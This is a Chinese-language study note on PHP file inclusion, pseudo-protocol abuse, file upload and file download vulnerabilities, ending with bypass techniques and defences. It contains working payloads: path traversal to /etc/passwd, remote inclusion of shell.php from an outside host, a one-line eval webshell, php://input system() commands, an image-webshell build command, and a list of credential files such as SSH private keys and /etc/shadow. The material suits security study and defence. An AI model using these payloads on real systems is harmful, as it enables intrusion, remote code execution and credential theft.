文件操作漏洞
文件包含漏洞
1、本地文件包含
- 源代码
$filename = $_GET['filename'];
include $filename; //或者include_once require require_once
echo '欢迎来到php世界';
- 利用条件
- php.ini中的allow_url_fopen=On(默认开启)
- 用户参数可控
- 后台代码没有对包含文件进行过滤
- 利用方式
?filename=login.php
?filename=/opt/lampp/logs/access_log
?filename=../../../../etc/passwd
?filename=php://filter/read/convert.base64-encode/resource=common.php
【注】:一旦使用include或其他三个文件包含函数,那么无论包含文件的后缀名是什么,均会以php代码来执行
2、远程文件包含
- 利用条件
- php.ini中allow_url_fopen=On(默认开启)和allow_url_include=On(默认关闭,需要打开)开启
- 用户参数可控
- 后台对文件包含没有过滤
- 利用方式
?filename=http://www.baidu.com/index.php
?filename=http://192.168.0.12/shell.php
?filename=http://192.168.0.13/shell.php?code=phpinfo();
【注】:远程包含文件的文件名后缀可以使用.txt结尾,可以更好的执行内部php代码,在文件包含中所有文件都会以php来运行,参数使用&符号来拼接
3、利用文件包含写木马
file_put_contents("temp/muma.php",'<?php @eval($_POST["code"]);?>');
PHP伪协议
1、伪协议介绍
- php支持一下几种协议
file://
http://
ftp://
php://
zlib://
data://
glob://
phar://
ssh2://
rar://
ogg://
expect://
【注】:php:// 是一种伪协议,主要是开启了一个输入输出流,理解为文件数据传输的一个通道。php中的伪协议常用有如下几个:
(1)php://input
(2)php://filter
(3)phar://
2、php://filter
- 将文件base64编码后读出来
php://filter/read/convert.base64-encode/resource=common.php
3、php://input
- 条件:开启allow_url_inclde=On
- 使用POST请求输入恶意代码
?filename=php://input
POST:
<?php phpinfo();?>
<?php system('ifconfig');?>
4、phar://
用于在php中压缩文件格式读取,通常配合文件上传漏洞使用,或进行phar反序列化攻击
?filename=phar://temp/shell.zip/shell.txt
要把文件传到服务器上
5、data:// 与 zip://
?filename=zip://shell.zip%23shell.txt
?filename=data://text/plain,<?php phpinfo();?> get请求
文件包含的漏洞利用
1、存在前提
(1)存在一个文件包含漏洞点
(2)其他可控点写入到本地文件
(3)写入本地文件路径可知
2、包含web日志
- apache记录web日志文件有access.log 和 error.log
3、包含上传文件
- 上传图片马
copy 1.jpg/b + shell.php/a shell.jpg
上传完图片马后
用文件包含图片马
完成getshell
文件上传漏洞
一、上传webshell
未做过滤直接上传webshell
二、JS过滤
1、过滤方式
- js调用checkfile()函数进行过滤。
2、绕过方式
- 在浏览器中禁用js功能
- 使用burp直接发送请求
【注】不建议使用禁用JS功能
文件下载漏洞
一、原理
1、利用条件
(1)存在读文件的函数和操作
(2)读取文件的路径用户可控,且校验不严格
(3)输出了文件内容
2、敏感文件
- windows
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
- linux
/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
文件操作漏洞绕过与防御
一、文件包含
1、绕过
- 目录穿越,file=…/…/…/…/…/etc/passwd
- 编码绕过,…/编码为%2e%2e%2f
- 对于远程包含,使用?绕过后缀,加入?后后缀将变为参数的一部分
- %00截断,只适用于PHP5.3以前的版本
2、防御
- 配置open_basedir,只允许包含某个目录下的文件
- 不允许文件包含让用户可控,直接写在代码中
- 尽量包含一个确定的文件,而不是一个变量或参数
- 检测用户输入参数,确保路径可控
- 过滤各种…/或经过编码的敏感字符
- 不使用远程包含,关闭allow_url_include(默认关闭)
- 如果需要使用,限定域名和路径
- 使用白名单
二、文件上传
1、绕过
- 前端绕过
- 类型绕过
- 黑名单绕过
- 大小写绕过
- 图片马包含
- 空格绕过
- 点绕过
- 双写绕过
- 条件竞争
- windows专用
- apache解析机制
2、防御
- 前后端一起校验,校验后缀名,校验MIME类型
- 后缀名的校验必须全部转换为小写
- 使用白名单
- 去除文件后续的各种符号
- 针对图片文件进行二次渲染
- 对文件名重命名,先命名再移动
- 将上传文件所在的目录设置为不可执行
三、文件下载
1、绕过
同文件包含
2、防御
- 过滤特殊字符.(点),使用用户在url中不可回溯上级目录
- 正则严格判断用户输入参数的格式
- php.ini配置open_basedir限定文件访问范围
- 将文件路径保存在数据库中,通过参数的方式访问